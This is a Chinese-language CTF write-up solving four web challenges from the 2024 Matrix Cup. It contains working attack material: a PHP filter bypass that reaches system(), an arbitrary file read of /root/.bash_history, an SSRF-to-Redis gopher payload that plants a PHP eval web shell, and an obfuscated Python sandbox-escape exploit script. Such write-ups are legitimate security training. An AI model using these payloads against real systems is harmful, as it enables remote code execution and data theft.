2024-矩阵杯WebWriteUp

easyweb

访问/flag.php,发现源码加密的代码.zip
下载下来,进行绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  
      	<?php  
      	if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)   
      	{  
      		echo 'welcome,admin';  
      		$_SESSION['admin'] = True;  
      	}   
      	else   
      	{  
	        die('flag?');  
      	}  
      	?>  
  
      	<?php  
	     if ($_SESSION['admin'])   
	     {  
	       if(isset($_POST['code']))  
	       {  
		       if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)  
			       echo 'no!';  
		       elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)  
			       echo 'no!';  
			else  
				system($_POST['code']);  
	       }  
	     }  
	     ?>  
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /index.php?id=0.999999999999999999 HTTP/1.1  
Host: web-fe24daddc0.challenge.xctf.org.cn  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 12  
  
code=l""s%0a  

访问/7l8g得到flag

where

/look?file=存在任意文件读取,读取/root/.bash_history

tantantan

访问/aaabbb.php
POST data=file:///var/www/html/aaabbb.php 读取源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php  
error_reporting(0);  
// error_reporting(E_ALL & ~E_WARNING);  
// highlight_file(__FILE__);  
$url=$_POST['data'];  
$ch=curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, 0);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$result=curl_exec($ch);  
curl_close($ch);  
echo ($result);  
?>  

dict://127.0.0.1:6379发现存在redis服务
利用gopherredis

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /aaabbb.php HTTP/1.1  
Host: web-da58846781.challenge.xctf.org.cn  
Content-Length: 26  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://web-da58846781.challenge.xctf.org.cn  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Referer: http://web-da58846781.challenge.xctf.org.cn//aaabbb.php  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9  
Connection: close  
  
data=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A  

生成shell.php
访问/shell.php?1=system('cat /9jsh267sbh1312h7dn2');
获得flag

WHAT_CAN_I_SAY

有一些过滤,先把它注释掉,然后进行绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/local/bin/python3  
# First Line of docker file -> FROM ubuntu:23.04  
  
import os  
import subprocess  
import sys  
from tempfile import TemporaryDirectory  
  
WELCOME = r'''  
  
 __          ___    _       _______    _____          _   _   _____    _____     __     __  
 \ \        / / |  | |   /\|__   __|  / ____|   /\   | \ | | |_   _|  / ____|  /\\ \   / /  
  \ \  /\  / /| |__| |  /  \  | |    | |       /  \  |  \| |   | |   | (___   /  \\ \_/ /   
   \ \/  \/ / |  __  | / /\ \ | |    | |      / /\ \ | . ` |   | |    \___ \ / /\ \\   /    
    \  /\  /  | |  | |/ ____ \| |    | |____ / ____ \| |\  |  _| |_   ____) / ____ \| |     
     \/  \/   |_|  |_/_/    \_\_|     \_____/_/    \_\_| \_| |_____| |_____/_/    \_\_|     
                                                                                            
'''  
  
basecode = '''  
# safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}  
# del __builtins__  
# try:exec(code,safebuiltins_dict,{})  
# except:pass  
exec(code)  
'''  
  
def main(workdir):  
    print("Make `input equals output` but with some rules!")  
    print("1. Not allow to use some special chars -> like unicode")  
    print("2. Code length less than 666")  
    print("3. Make sure 'what.can.i.say' in your code that makes Kobe like you!")  
    print("4. Pls input your code which end with <EOF>")  
    print("Good luck!")  
  
    os.chdir(workdir)  
    os.mkdir("runsbox")  
  
    code = ""  
    tmp_input = []  
    while (x := input(">>> ")) != "<EOF>":  
        tmp_input.append(x)  
    code = "\n".join(m for m in tmp_input)  
  
    # assert 0 < len(code) < 666, "Boy your code is too long!!!!!"  
    # assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."  
    # assert "import" not in code,"Boy, this isn't funny!"  
    # assert "what.can.i.say" in code, "Mamba out!"  
    # assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"  
  
    try:  
        with open("runbox.py", "w+") as f:  
            f.write(f"""#!/usr/local/bin/python3  
{code = }  
{basecode}  
""")  
        runsbx_handle = subprocess.run(  
            "/usr/bin/python3 runbox.py",  
            shell=True,  
            capture_output=True,  
            encoding="utf-8",  
        )  
    except Exception:  
        sys.stderr.write("run sandbox error!\n")  
        os._exit(0)  
  
    if (  
        len(runsbx_handle.stdout)  
        and len(runsbx_handle.stderr)  
        and runsbx_handle.stdout == runsbx_handle.stderr == code  
    ):  
        # with open("/fake_local_flag_path_but_real_into_remote_xxxxxxxxxxxx") as f:  
        #     sys.stdout.write(f.read())  
        print("bypass")  
    else:  
        sys.stderr.write("Man what can i say?\n")  
  
  
if __name__ == "__main__":  
    print(WELCOME)  
    with TemporaryDirectory() as workdir:  
        main(workdir)  

参考文章
https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c
https://xz.aliyun.com/t/13635

1
2
3
4
5
6
a=(a.gi_frame.f_back.f_back for i in [1])  
a=[x for x in a][0]  
globals=a.f_back.f_globals  
code = globals['code']  
exec('__import__("sys").stdout.write(code)')  
exec('__import__("sys").stderr.write(code)')  

接下来想办法绕过如下两处代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}  
del __builtins__  
try:exec(code,safebuiltins_dict,{})  
except:pass  
  
    assert 0 < len(code) < 666, "Boy your code is too long!!!!!"  
    assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."  
    assert "import" not in code,"Boy, this isn't funny!"  
    assert "what.can.i.say" in code, "Mamba out!"  
    assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"  

先看第一处

1
2
3
4
safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}  
del __builtins__  
try:exec(code,safebuiltins_dict,{})  
except:pass  

这个过滤大概意思就是删除了__builtins__,但是保留了一些函数
第二处

1
2
3
4
5
    assert 0 < len(code) < 666, "Boy your code is too long!!!!!"  
    assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."  
    assert "import" not in code,"Boy, this isn't funny!"  
    assert "what.can.i.say" in code, "Mamba out!"  
    assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"  

限制了code的长度在0-666之前,并且限制了一些特殊字符'\"_{}#,并且ascii码需要在10-127之前,包含what.can.i.say
构造exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
g=chr(103)  
i=chr(105)  
k=chr(95)  
f=chr(102)  
r=chr(114)  
a=chr(97)  
m=chr(109)  
e=chr(101)  
b=chr(98)  
c=chr(99)  
l=chr(108)  
o=chr(111)  
s=chr(115)  
d=chr(100)  
k1=chr(107)  
p=chr(112)  
t=chr(116)  
t1=chr(40)  
t2=chr(34)  
t3=chr(41)  
y=chr(121)  
d1=chr(46)  
u=chr(117)  
w=chr(119)  
G=g+i+k+f+r+a+m+e   
F=f+k+b+a+c+k1  
GL=f+k+g+l+o+b+a+l+s  
CO=c+o+d+e  
i1=k+k+i+m+p+o+r+t+k+k+t1+t2+s+y+s+t2+t3+d1+s+t+d  
u=o+u+t  
i2=d1+w+r+i+t+e+t1+a+t3  
r=e+r+r  
def a():  
    global G,F,GL,CO  
    def b():  
        yield getattr(getattr(getattr(c,G),F),F)  
    c = b()  
    z = getattr(getattr(next(c),F),GL)[CO]  
    return z  
a = a()  
exec(i1+u+i2)  
exec(i1+r+i2)  
try:  
    what.can.i.say  
except:  
    pass  

成功绕过
exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import subprocess  
import os  
import sys  
code = '''  
g=chr(103)  
i=chr(105)  
k=chr(95)  
f=chr(102)  
r=chr(114)  
a=chr(97)  
m=chr(109)  
e=chr(101)  
b=chr(98)  
c=chr(99)  
l=chr(108)  
o=chr(111)  
s=chr(115)  
d=chr(100)  
k1=chr(107)  
p=chr(112)  
t=chr(116)  
t1=chr(40)  
t2=chr(34)  
t3=chr(41)  
y=chr(121)  
d1=chr(46)  
u=chr(117)  
w=chr(119)  
G=g+i+k+f+r+a+m+e   
F=f+k+b+a+c+k1  
GL=f+k+g+l+o+b+a+l+s  
CO=c+o+d+e  
i1=k+k+i+m+p+o+r+t+k+k+t1+t2+s+y+s+t2+t3+d1+s+t+d  
u=o+u+t  
i2=d1+w+r+i+t+e+t1+a+t3  
r=e+r+r  
def a():  
    global G,F,GL,CO  
    def b():  
        yield getattr(getattr(getattr(c,G),F),F)  
    c = b()  
    z = getattr(getattr(next(c),F),GL)[CO]  
    return z  
a = a()  
exec(i1+u+i2)  
exec(i1+r+i2)  
try:  
    what.can.i.say  
except:  
    pass  
'''  
basecode = '''  
safebuiltins_dict={x:y for x,y in dict(vars(__builtins__)).items() if x[0] not in "_-abcdefghijklmnopqrstuvwxyz"}  
del __builtins__  
try:exec(code,safebuiltins_dict,{})  
except Exception as e:print(e)  
'''  
assert 0 < len(code) < 666, "Boy your code is too long!!!!!"  
assert all(i not in code for i in list("'\"_{}#")), "I don't like those chars..."  
assert "import" not in code,"Boy, this isn't funny!"  
assert "what.can.i.say" in code, "Mamba out!"  
assert all(10 <= ord(c) <= 127 for c in code), "pls using ascii code boy!"  
try:  
        with open("./runbox1.py", "w+") as f:  
            f.write(f"""#!/usr/local/bin/python3  
{code = }  
{basecode}  
""")  
        runsbx_handle = subprocess.run(  
            "/usr/bin/python3 ./runbox1.py",  
            shell=True,  
            capture_output=True,  
            encoding="utf-8",  
        )  
except Exception:  
        sys.stderr.write("run sandbox error!\n")  
        os._exit(0)  
if (  
        len(runsbx_handle.stdout)  
        and len(runsbx_handle.stderr)  
        and runsbx_handle.stdout == runsbx_handle.stderr == code  
    ):  
        # with open("/fake_local_flag_path_but_real_into_remote_xxxxxxxxxxxx") as f:  
        #     sys.stdout.write(f.read())  
        print("bypass")  
else:  
        sys.stderr.write("Man what can i say?\n")  
0%